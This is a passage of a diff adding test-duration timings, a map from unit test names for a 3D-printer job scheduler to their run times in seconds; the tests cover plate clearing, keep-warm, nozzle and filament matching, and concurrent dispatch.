"unit/test_scheduler_class_target_smart_plug_2786.py::TestWhatIsNotWokenUp::test_a_job_scheduled_for_later_does_not_switch_anything_on_now": 0.07606569211930037, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestWhatIsNotWokenUp::test_a_manual_start_job_does_not_switch_anything_on": 0.07880266103893518, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestWhatIsNotWokenUp::test_a_printer_with_no_auto_on_plug_is_left_alone_and_said_so": 0.07566823437809944, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestWhatIsNotWokenUp::test_an_already_connected_printer_is_not_powered_on": 0.08399884961545467, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestWhatIsNotWokenUp::test_an_incompatible_file_never_wakes_anything": 0.07146140094846487, + "unit/test_scheduler_cleanup_library.py::test_archive_copy_survives_library_cleanup": 0.07343802321702242, + "unit/test_scheduler_cleanup_library.py::test_archive_creation_failure_skips_cleanup_and_dispatch": 0.06831708736717701, + "unit/test_scheduler_cleanup_library.py::test_cleanup_resolves_absolute_and_relative_thumbnail_paths[absolute]": 0.08211400453001261, + "unit/test_scheduler_cleanup_library.py::test_cleanup_resolves_absolute_and_relative_thumbnail_paths[relative]": 0.07675448153167963, + "unit/test_scheduler_cleanup_library.py::test_cleanup_unlinks_library_file_and_removes_db_row": 0.0882527818903327, + "unit/test_scheduler_cleanup_library.py::test_copies_are_untouched_when_the_dispatch_does_not_consume_the_file": 0.07595069333910942, + "unit/test_scheduler_cleanup_library.py::test_copy_that_already_has_its_own_archive_keeps_it": 0.08602636959403753, + "unit/test_scheduler_cleanup_library.py::test_copy_whose_only_candidate_was_consumed_is_repointed": 0.08625196199864149, + "unit/test_scheduler_cleanup_library.py::test_cross_model_copy_keeps_its_other_candidate_instead_of_the_archive": 0.08298057969659567, + "unit/test_scheduler_cleanup_library.py::test_external_library_file_skips_cleanup": 0.07256686128675938, + "unit/test_scheduler_cleanup_library.py::test_finished_copies_keep_their_outcome_and_survive_the_delete[aborted]": 0.08968988619744778, + "unit/test_scheduler_cleanup_library.py::test_finished_copies_keep_their_outcome_and_survive_the_delete[cancelled]": 0.08429465349763632, + "unit/test_scheduler_cleanup_library.py::test_finished_copies_keep_their_outcome_and_survive_the_delete[completed]": 0.07978531159460545, + "unit/test_scheduler_cleanup_library.py::test_finished_copies_keep_their_outcome_and_survive_the_delete[failed]": 0.0780522944405675, + "unit/test_scheduler_cleanup_library.py::test_oserror_during_unlink_logs_orphan_path_and_does_not_crash_dispatch": 0.08195057976990938, + "unit/test_scheduler_cleanup_library.py::test_pending_copies_are_repointed_at_the_archive": 0.08168327994644642, + "unit/test_scheduler_cleanup_library.py::test_skipped_copy_is_repointed_because_it_can_come_back": 0.08395170141011477, + "unit/test_scheduler_clear_plate.py::TestAwaitingPlateClearPersistence::test_load_rehydrates_in_memory_set_from_db": 0.06042537558823824, + "unit/test_scheduler_clear_plate.py::TestAwaitingPlateClearPersistence::test_persist_missing_printer_does_not_raise": 0.05379090830683708, + "unit/test_scheduler_clear_plate.py::TestAwaitingPlateClearPersistence::test_persist_writes_flag_to_db": 0.056603520177304745, + "unit/test_scheduler_clear_plate.py::TestPlateGateDefaultsOffWhenUnset::test_check_queue_reads_plate_clear_setting_with_default_false": 0.004016567021608353, + "unit/test_scheduler_clear_plate.py::TestPlateGateDefaultsOffWhenUnset::test_get_bool_setting_honors_false_default_when_row_absent": 0.05857930611819029, + "unit/test_scheduler_clear_plate.py::TestPlateGateEndToEnd::test_enabled_gate_releases_after_plate_cleared": 0.05515194032341242, + "unit/test_scheduler_clear_plate.py::TestPlateGateEndToEnd::test_finish_awaiting_dispatch_eligibility_matches_setting[None-False]": 0.05785894487053156, + "unit/test_scheduler_clear_plate.py::TestPlateGateEndToEnd::test_finish_awaiting_dispatch_eligibility_matches_setting[True-True]": 0.06470940355211496, + "unit/test_scheduler_clear_plate.py::TestPlateGateEndToEnd::test_finish_awaiting_dispatch_eligibility_matches_setting[false-False]": 0.055516382679343224, + "unit/test_scheduler_clear_plate.py::TestPlateGateEndToEnd::test_finish_awaiting_dispatch_eligibility_matches_setting[true-True]": 0.059004029259085655, + "unit/test_scheduler_clear_plate.py::TestPlateGateEndToEnd::test_running_never_idle_regardless_of_gate": 0.0030892109498381615, + "unit/test_scheduler_clear_plate.py::TestPrinterManagerPlateCleared::test_consume_only_affects_target_printer": 0.0014944318681955338, + "unit/test_scheduler_clear_plate.py::TestPrinterManagerPlateCleared::test_consume_plate_cleared": 0.0015808921307325363, + "unit/test_scheduler_clear_plate.py::TestPrinterManagerPlateCleared::test_consume_plate_cleared_idempotent": 0.0014765067026019096, + "unit/test_scheduler_clear_plate.py::TestPrinterManagerPlateCleared::test_plate_cleared_initially_false": 0.0021731825545430183, + "unit/test_scheduler_clear_plate.py::TestPrinterManagerPlateCleared::test_set_plate_cleared": 0.0022546565160155296, + "unit/test_scheduler_clear_plate.py::TestPrinterManagerPlateCleared::test_set_plate_cleared_multiple_printers": 0.0015063723549246788, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_disconnected_printer_not_idle": 0.0018688123673200607, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_failed_state_idle_when_acknowledged": 0.007303128018975258, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_failed_state_idle_when_require_plate_clear_disabled": 0.0021530846133828163, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_failed_state_not_idle_when_awaiting": 0.0018788520246744156, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_finish_state_idle_when_acknowledged": 0.0018643150106072426, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_finish_state_idle_when_require_plate_clear_disabled": 0.0019875457510352135, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_finish_state_not_idle_when_awaiting": 0.0022617094218730927, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_idle_state_is_idle": 0.0025916574522852898, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_idle_state_not_idle_when_awaiting_survives_power_cycle": 0.0021329186856746674, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_idle_state_unaffected_by_require_plate_clear": 0.0018195006996393204, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_no_status_not_idle": 0.0018187304958701134, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_running_state_not_idle": 0.002023071050643921, + "unit/test_scheduler_clear_plate.py::TestSchedulerIdleCheckWithPlateCleared::test_running_state_not_idle_even_when_require_plate_clear_disabled": 0.0018179072067141533, + "unit/test_scheduler_clear_plate.py::TestSchedulerQueueCheckLogging::test_check_queue_logs_pending_items": 0.014028392732143402, + "unit/test_scheduler_clear_plate.py::TestSchedulerQueueCheckLogging::test_check_queue_no_log_when_empty": 0.00484609417617321, + "unit/test_scheduler_concurrent_dispatch.py::TestSharedLibraryRow::test_cleanup_items_never_share_a_row_in_one_pass": 0.2475244142115116, + "unit/test_scheduler_concurrent_dispatch.py::TestSharedLibraryRow::test_plain_library_file_still_fans_out_in_parallel": 0.28881452325731516, + "unit/test_scheduler_concurrent_dispatch.py::test_check_queue_reports_it_dispatched": 0.2665568692609668, + "unit/test_scheduler_concurrent_dispatch.py::test_check_queue_reports_nothing_dispatched_when_empty": 0.0668574906885624, + "unit/test_scheduler_concurrent_dispatch.py::test_check_queue_returns_without_awaiting_the_uploads": 0.2518135253340006, + "unit/test_scheduler_concurrent_dispatch.py::test_default_concurrency_applies_when_setting_absent": 0.45785072911530733, + "unit/test_scheduler_concurrent_dispatch.py::test_freed_slot_is_refilled_on_the_next_tick": 0.4158411994576454, + "unit/test_scheduler_concurrent_dispatch.py::test_inflight_item_and_printer_are_excluded_from_reselection": 0.24156350176781416, + "unit/test_scheduler_concurrent_dispatch.py::test_inflight_printer_is_kept_out_of_auto_drying": 0.24717002175748348, + "unit/test_scheduler_concurrent_dispatch.py::test_library_print_without_a_parseable_print_time_does_not_crash": 0.25025725457817316, + "unit/test_scheduler_concurrent_dispatch.py::test_limit_of_one_restores_serial_behaviour": 0.7431041393429041, + "unit/test_scheduler_concurrent_dispatch.py::test_one_failing_upload_does_not_cancel_the_others": 0.26907061878591776, + "unit/test_scheduler_concurrent_dispatch.py::test_pool_cap_holds_across_refills": 0.6250878302380443, + "unit/test_scheduler_concurrent_dispatch.py::test_uploads_to_different_printers_overlap": 0.2844550432637334, + "unit/test_scheduler_cross_model_variants.py::test_all_busy_stays_busy_only_so_no_notification_fires": 0.0023844288662075996, + "unit/test_scheduler_cross_model_variants.py::test_cross_model_gate_is_applied_per_candidate": 0.08835749886929989, + "unit/test_scheduler_cross_model_variants.py::test_differing_reasons_are_labelled_by_model": 0.0016750898212194443, + "unit/test_scheduler_cross_model_variants.py::test_empty_reasons_are_dropped": 0.001623460091650486, + "unit/test_scheduler_cross_model_variants.py::test_equal_attempts_fall_back_to_priority": 0.0024556024000048637, + "unit/test_scheduler_cross_model_variants.py::test_failed_candidate_steps_aside_for_the_alternative": 0.08786608651280403, + "unit/test_scheduler_cross_model_variants.py::test_first_matching_variant_wins_and_is_folded_onto_the_row": 0.07836827635765076, + "unit/test_scheduler_cross_model_variants.py::test_identical_reasons_collapse_to_one_clause": 0.0021984605118632317, + "unit/test_scheduler_cross_model_variants.py::test_item_with_no_files_left_is_held_with_an_actionable_reason": 0.08174572605639696, + "unit/test_scheduler_cross_model_variants.py::test_item_with_no_usable_candidates_yields_none": 0.002330726943910122, + "unit/test_scheduler_cross_model_variants.py::test_least_attempted_candidate_is_tried_first": 0.0023515382781624794, + "unit/test_scheduler_cross_model_variants.py::test_model_label_names_every_candidate": 0.001669599674642086, + "unit/test_scheduler_cross_model_variants.py::test_no_match_reports_every_model_it_tried": 0.08714843075722456, + "unit/test_scheduler_cross_model_variants.py::test_no_variants_yields_the_items_own_columns": 0.0020486386492848396, + "unit/test_scheduler_cross_model_variants.py::test_orphaned_candidate_is_skipped": 0.0023581087589263916, + "unit/test_scheduler_cross_model_variants.py::test_plain_model_based_item_is_untouched": 0.09043031372129917, + "unit/test_scheduler_cross_model_variants.py::test_priority_order_decides_when_both_are_free": 0.08147812355309725, + "unit/test_scheduler_cross_model_variants.py::test_single_candidate_reason_is_unprefixed": 0.0024004988372325897, + "unit/test_scheduler_cross_model_variants.py::test_trashed_candidate_is_skipped": 0.001953139901161194, + "unit/test_scheduler_cross_model_variants.py::test_variants_come_back_in_user_priority_order": 0.001782841980457306, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldFallbacks::test_no_pre_state_falls_back_to_time_only_hold": 0.001853153109550476, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldFallbacks::test_no_pre_state_releases_after_cooldown": 0.0067675756290555, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldFallbacks::test_status_unavailable_keeps_hold": 0.0019955188035964966, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldHardTimeout::test_hard_timeout_drops_hold": 0.006898947991430759, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldHoldsThePrinter::test_held_immediately_after_mark": 0.002536333166062832, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldHoldsThePrinter::test_state_unchanged_keeps_hold": 0.0018367636948823929, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldHoldsThePrinter::test_unmarked_printer_not_held": 0.0018496867269277573, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldReleases::test_release_is_idempotent": 0.0020183809101581573, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldReleases::test_release_via_explicit_call": 0.0018093902617692947, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldReleases::test_state_transition_after_min_cooldown_releases": 0.0021043848246335983, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldReleases::test_subtask_id_advance_releases": 0.0018082698807120323, + "unit/test_scheduler_dispatch_hold.py::TestDispatchHoldReleases::test_transition_within_cooldown_still_holds": 0.0017633149400353432, + "unit/test_scheduler_dispatch_hold.py::TestPerPrinterIsolation::test_hold_does_not_leak_across_printers": 0.0018471535295248032, + "unit/test_scheduler_dispatch_hold.py::TestWatchdogIntegration::test_release_dispatch_hold_callable_from_module_level_scheduler": 0.0016899676993489265, + "unit/test_scheduler_drying_plate_hold_2801.py::test_a_plate_held_printer_is_not_offered_to_drying_as_printing": 0.07796151377260685, + "unit/test_scheduler_drying_plate_hold_2801.py::test_block_mode_holds_the_print_and_keeps_the_cycle": 0.07415536791086197, + "unit/test_scheduler_drying_plate_hold_2801.py::test_capable_hardware_keeps_drying_through_the_print": 0.06992154289036989, + "unit/test_scheduler_drying_plate_hold_2801.py::test_drying_is_not_stopped_for_a_print_that_cannot_start": 0.0732820937409997, + "unit/test_scheduler_drying_plate_hold_2801.py::test_drying_survives_an_item_that_is_skipped_after_the_idle_check": 0.07765970937907696, + "unit/test_scheduler_drying_plate_hold_2801.py::test_print_takes_priority_still_stops_drying_when_it_can_dispatch": 0.07109622564166784, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestExternalSpoolExtruderRouting::test_dual_nozzle_without_ams_routes_both_external_feeds": 0.002375783398747444, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestExternalSpoolExtruderRouting::test_mapping_resolves_for_the_nozzle_the_spool_feeds": 0.0021523842588067055, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestExternalSpoolExtruderRouting::test_populated_ams_extruder_map_still_implies_dual_nozzle": 0.0016667647287249565, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestExternalSpoolExtruderRouting::test_single_nozzle_stub_does_not_fabricate_an_extruder": 0.001731094904243946, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestExternalSpoolExtruderRouting::test_two_external_feeds_alone_imply_dual_nozzle": 0.0016791671514511108, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestFailUnmappableItem::test_marks_failed_with_the_message": 0.00273158960044384, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmappableWithoutAmsGuard::test_reports_when_nothing_matches_and_there_is_no_ams": 0.0024693263694643974, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmappableWithoutAmsGuard::test_silent_when_an_ams_is_attached": 0.002368099056184292, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmappableWithoutAmsGuard::test_silent_when_the_ams_field_has_not_arrived_yet": 0.0026761265471577644, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmappableWithoutAmsGuard::test_silent_when_the_mapping_resolves": 0.002557101659476757, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmappableWithoutAmsGuard::test_silent_when_the_matcher_never_ran": 0.0023347167298197746, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmappableWithoutAmsGuard::test_silent_when_the_printer_status_is_gone": 0.002574256621301174, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmatchedFilamentMessage::test_names_type_colour_and_nozzle": 0.0016665728762745857, + "unit/test_scheduler_external_spool_nozzle_2771.py::TestUnmatchedFilamentMessage::test_omits_nozzle_on_single_nozzle_printers": 0.00164747703820467, + "unit/test_scheduler_filament_deficit.py::test_blocks_on_deficit_promotes_to_manual_start": 0.19892719946801662, + "unit/test_scheduler_filament_deficit.py::test_clears_stale_flag_when_deficit_resolves": 0.18237294163554907, + "unit/test_scheduler_filament_deficit.py::test_helper_exception_does_not_wedge_dispatch": 0.19019758608192205, + "unit/test_scheduler_filament_deficit.py::test_no_deficit_no_op": 0.19607243780046701, + "unit/test_scheduler_filament_deficit.py::test_skip_filament_check_short_circuits_without_compute": 0.1909359311684966, + "unit/test_scheduler_filament_override.py::TestCountOverrideColorMatches::test_color_normalization": 0.0030922172591090202, + "unit/test_scheduler_filament_override.py::TestCountOverrideColorMatches::test_exact_match": 0.0033760182559490204, + "unit/test_scheduler_filament_override.py::TestCountOverrideColorMatches::test_external_spool_match": 0.0033686626702547073, + "unit/test_scheduler_filament_override.py::TestCountOverrideColorMatches::test_multiple_overrides_partial_match": 0.003096512518823147, + "unit/test_scheduler_filament_override.py::TestCountOverrideColorMatches::test_no_match": 0.0032137036323547363, + "unit/test_scheduler_filament_override.py::TestCountOverrideColorMatches::test_no_status_returns_zero": 0.003824056126177311, + "unit/test_scheduler_filament_override.py::TestFilamentOverrideInMatching::test_nozzle_filtering_with_override": 0.001070275902748108, + "unit/test_scheduler_filament_override.py::TestFilamentOverrideInMatching::test_override_changes_color_match": 0.0011463295668363571, + "unit/test_scheduler_filament_override.py::TestFilamentOverrideInMatching::test_override_clears_tray_info_idx": 0.0010981075465679169, + "unit/test_scheduler_filament_override.py::TestFilamentOverrideInMatching::test_override_type_change": 0.0010973457247018814, + "unit/test_scheduler_filament_override.py::TestFilamentOverrideInMatching::test_partial_override": 0.001091226004064083, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_direct_mapping_pins_variant_when_override_carries_idx": 0.0012797480449080467, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_external_spool_matched": 0.0013117678463459015, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_multiple_overrides_map_multiple_slots": 0.0013544987887144089, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_no_color_match_returns_minus_one": 0.0013043452054262161, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_no_loaded_filaments_returns_none": 0.0014874991029500961, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_single_force_override_matches_ams_slot": 0.0017155762761831284, + "unit/test_scheduler_force_color_ams_fallback.py::TestBuildOverrideDirectMapping::test_tray_info_idx_is_not_used_for_direct_mapping": 0.001515451818704605, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_fallback_not_used_when_no_force_color": 0.001954061910510063, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_fallback_not_used_when_no_overrides": 0.002124863676726818, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_fallback_returns_none_when_printer_status_unavailable": 0.0035711824893951416, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_fallback_used_when_filament_reqs_empty": 0.0025531835854053497, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_force_color_override_pins_the_matching_variant_slot": 0.002840554341673851, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_normal_path_used_when_filament_reqs_available": 0.002215813845396042, + "unit/test_scheduler_force_color_ams_fallback.py::TestComputeAmsMappingFallback::test_preference_override_still_clears_idx_so_a_swap_matches_by_colour": 0.002878444269299507, + "unit/test_scheduler_force_color_ams_fallback.py::TestGetMissingForceColorSlotsVariant::test_blank_loaded_idx_falls_back_to_type_and_colour": 0.0015731081366539001, + "unit/test_scheduler_force_color_ams_fallback.py::TestGetMissingForceColorSlotsVariant::test_matte_requirement_accepts_matte": 0.0013447711244225502, + "unit/test_scheduler_force_color_ams_fallback.py::TestGetMissingForceColorSlotsVariant::test_matte_requirement_rejects_basic_and_silk": 0.0013753175735473633, + "unit/test_scheduler_force_color_ams_fallback.py::TestGetMissingForceColorSlotsVariant::test_requirement_without_idx_unchanged": 0.001414732076227665, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_a_failing_interlock_lookup_never_stops_the_queue": 0.07013587467372417, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_a_held_printer_is_not_reported_as_busy": 0.07027915399521589, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_another_printers_sensor_does_not_hold_this_one": 0.0662567038089037, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_dispatches_once_the_hold_clears": 0.07983775064349174, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_holding_is_not_failing": 0.07000239659100771, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_holds_the_item_and_says_why": 0.0773113239556551, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_nothing_blocked_dispatches_as_before": 0.06697942968457937, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_the_reason_clears_even_when_the_printer_is_still_busy": 0.08396938256919384, + "unit/test_scheduler_ha_interlock_1148.py::TestFixedPrinter::test_the_stale_reason_is_cleared_on_dispatch": 0.07559699099510908, + "unit/test_scheduler_ha_interlock_1148.py::TestModelBased::test_an_interlocked_printer_is_passed_over_for_its_sibling": 0.07678159046918154, + "unit/test_scheduler_ha_interlock_1148.py::TestModelBased::test_every_printer_held_leaves_the_job_waiting": 0.07719569746404886, + "unit/test_scheduler_inventory_remain.py::TestInternalInventoryOverrides::test_empty_loaded_returns_empty": 0.0021360768005251884, + "unit/test_scheduler_inventory_remain.py::TestInternalInventoryOverrides::test_negative_remaining_clamped_to_zero": 0.0019524600356817245, + "unit/test_scheduler_inventory_remain.py::TestInternalInventoryOverrides::test_returns_remaining_grams_for_bound_slots": 0.0023870840668678284, + "unit/test_scheduler_inventory_remain.py::TestInternalInventoryOverrides::test_skips_external_slots": 0.0018428042531013489, + "unit/test_scheduler_inventory_remain.py::TestInternalInventoryOverrides::test_slot_without_binding_absent_from_overrides": 0.0020678360015153885, + "unit/test_scheduler_inventory_remain.py::TestSpoolmanModeOverrides::test_spoolman_remaining_grams_used_when_available": 0.002350565977394581, + "unit/test_scheduler_inventory_remain.py::TestSpoolmanModeOverrides::test_spoolman_unreachable_skips_silently": 0.0019096704199910164, + "unit/test_scheduler_keep_warm.py::test_dispatch_handover_records_the_held_target": 0.0013149650767445564, + "unit/test_scheduler_keep_warm.py::test_keep_warm_does_not_fetch_filament_targets_when_all_overrides": 0.00238240510225296, + "unit/test_scheduler_keep_warm.py::test_keep_warm_fetches_filament_targets_once_per_tick": 0.0028938744217157364, + "unit/test_scheduler_keep_warm.py::test_keep_warm_hands_bed_ownership_to_preheat_pin_on_dispatch": 0.002520374022424221, + "unit/test_scheduler_keep_warm.py::test_keep_warm_holds_configured_temp_when_archive_has_no_bed_temp": 0.0023028673604130745, + "unit/test_scheduler_keep_warm.py::test_keep_warm_holds_within_configured_window": 0.0022500278428196907, + "unit/test_scheduler_keep_warm.py::test_keep_warm_honours_custom_configured_hold_temp": 0.0019790707156062126, + "unit/test_scheduler_keep_warm.py::test_keep_warm_keeps_entry_when_printer_is_unreachable": 0.002221442759037018, + "unit/test_scheduler_keep_warm.py::test_keep_warm_preserves_existing_timer": 0.002118459902703762, + "unit/test_scheduler_keep_warm.py::test_keep_warm_publishes_bed_off_and_latches_on_timeout": 0.0022049928084015846, + "unit/test_scheduler_keep_warm.py::test_keep_warm_publishes_bed_target": 0.005593443289399147, + "unit/test_scheduler_keep_warm.py::test_keep_warm_release_does_not_touch_preheat_pin": 0.002364221028983593, + "unit/test_scheduler_keep_warm.py::test_keep_warm_release_fires_when_feature_toggled_off_mid_hold": 0.0022043129429221153, + "unit/test_scheduler_keep_warm.py::test_keep_warm_release_fires_when_plate_clear_toggled_off_mid_hold": 0.0027605751529335976, + "unit/test_scheduler_keep_warm.py::test_keep_warm_release_retries_after_a_failed_publish": 0.00253173615783453, + "unit/test_scheduler_keep_warm.py::test_keep_warm_release_skipped_when_firmware_target_changed": 0.00251972209662199, + "unit/test_scheduler_keep_warm.py::test_keep_warm_release_skipped_when_printer_was_dispatched": 0.0025933412835001945, + "unit/test_scheduler_keep_warm.py::test_keep_warm_releases_bed_when_printer_leaves_candidate_set": 0.0019507473334670067, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_chamber_derivation_yields_zero": 0.002135331742465496, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_chamber_override_zero": 0.001873653382062912, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_dispatched_this_cycle": 0.0021301032975316048, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_feature_disabled": 0.0022081462666392326, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_firmware_already_at_target": 0.0019539017230272293, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_no_client": 0.002066453918814659, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_preheat_disabled": 0.0021468065679073334, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_printer_not_in_finish": 0.0018987981602549553, + "unit/test_scheduler_keep_warm.py::test_keep_warm_skips_when_require_plate_clear_off": 0.0018779700621962547, + "unit/test_scheduler_keep_warm.py::test_keep_warm_starts_timer_on_first_tick": 0.001963632181286812, + "unit/test_scheduler_keep_warm.py::test_keep_warm_timeout_does_not_rearm_on_next_tick": 0.0018784217536449432, + "unit/test_scheduler_keep_warm.py::test_keep_warm_timeout_honours_configured_minutes": 0.00369973573833704, + "unit/test_scheduler_keep_warm.py::test_keep_warm_timeout_skips_bed_off_when_firmware_target_changed": 0.0022037196904420853, + "unit/test_scheduler_keep_warm.py::test_keep_warm_uses_configured_temp_when_item_bed_temp_lower": 0.00229086447507143, + "unit/test_scheduler_keep_warm.py::test_keep_warm_uses_item_bed_temp_when_higher_than_configured": 0.002008584327995777, + "unit/test_scheduler_keep_warm.py::test_rollback_leaves_a_reassigned_bed_alone": 0.0017048968002200127, + "unit/test_scheduler_keep_warm.py::test_rollback_switches_off_when_the_target_cannot_be_read": 0.0020719338208436966, + "unit/test_scheduler_keep_warm.py::test_rollback_switches_off_when_the_target_still_matches": 0.0017414325848221779, + "unit/test_scheduler_keep_warm.py::test_sample_chamber_temps_evicts_preheat_pin_for_removed_printer": 0.0015490734949707985, + "unit/test_scheduler_keep_warm.py::test_unclaimable_item_releases_the_handed_over_bed": 0.0029040826484560966, + "unit/test_scheduler_keep_warm.py::test_unclaimable_item_without_a_known_printer_is_a_noop": 0.0021845242008566856, + "unit/test_scheduler_keep_warm.py::test_unregistered_printer_evicts_the_recorded_bed_target": 0.001461000181734562, + "unit/test_scheduler_keep_warm.py::test_vanished_item_releases_the_handed_over_bed": 0.002969875931739807, + "unit/test_scheduler_model_mismatch.py::test_compatible_and_unknown_items_still_reach_the_matcher": 0.07540756557136774, + "unit/test_scheduler_model_mismatch.py::test_cross_family_is_blocked": 0.0012262379750609398, + "unit/test_scheduler_model_mismatch.py::test_internal_codes_resolve_to_short_names": 0.0012334519997239113, + "unit/test_scheduler_model_mismatch.py::test_legacy_item_without_metadata_reaches_the_matcher": 0.08597058337181807, + "unit/test_scheduler_model_mismatch.py::test_mismatched_item_is_held_and_never_offered_a_printer": 0.09280496370047331, + "unit/test_scheduler_model_mismatch.py::test_mismatched_library_item_is_held": 0.08325008675456047, + "unit/test_scheduler_model_mismatch.py::test_normalization_spaces_dashes_case": 0.001212351955473423, + "unit/test_scheduler_model_mismatch.py::test_same_model_is_compatible": 0.0012700902298092842, + "unit/test_scheduler_model_mismatch.py::test_unknown_metadata_is_failsafe_compatible": 0.0012237438932061195, + "unit/test_scheduler_model_mismatch.py::test_x1_p1_family_is_interchangeable": 0.00124382134526968, + "unit/test_scheduler_nozzle_mismatch.py::test_adjacent_sizes_are_distinguished": 0.0011929655447602272, + "unit/test_scheduler_nozzle_mismatch.py::test_diameter_in_neither_hotend_nor_rack_still_blocks": 0.001177205704152584, + "unit/test_scheduler_nozzle_mismatch.py::test_docked_nozzle_counts_as_reachable": 0.0012373076751828194, + "unit/test_scheduler_nozzle_mismatch.py::test_dual_nozzle_match_on_either_passes": 0.0011767847463488579, + "unit/test_scheduler_nozzle_mismatch.py::test_dual_nozzle_mismatch_on_both_blocks": 0.0011851806193590164, + "unit/test_scheduler_nozzle_mismatch.py::test_h2c_live_state_no_longer_blocks_any_stocked_diameter": 0.001177007332444191, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_drops_a_hotend_with_no_nozzle_mounted": 0.0011620372533798218, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_handles_no_status_or_no_nozzles": 0.001193637028336525, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_keeps_a_hotend_when_only_one_signal_says_empty": 0.0011559780687093735, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_keeps_a_hotend_when_the_firmware_reports_neither_field": 0.0013973293825984001, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_keeps_hotends_when_no_nozzle_info_is_reported": 0.0011438233777880669, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_parses_dual_nozzle": 0.0012271599844098091, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_parses_single_nozzle": 0.0016426993533968925, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_skips_empty_default_stub": 0.0011805035173892975, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_skips_unparseable_and_zero": 0.0011832574382424355, + "unit/test_scheduler_nozzle_mismatch.py::test_installed_tolerates_a_non_numeric_max_temp": 0.001629263162612915, + "unit/test_scheduler_nozzle_mismatch.py::test_match_single_nozzle_passes": 0.001216130331158638, + "unit/test_scheduler_nozzle_mismatch.py::test_match_within_float_tolerance_passes": 0.001200089231133461, + "unit/test_scheduler_nozzle_mismatch.py::test_message_names_an_empty_carriage_rather_than_claiming_a_size": 0.001164272427558899, + "unit/test_scheduler_nozzle_mismatch.py::test_mismatch_blocks_single_nozzle": 0.001194278709590435, + 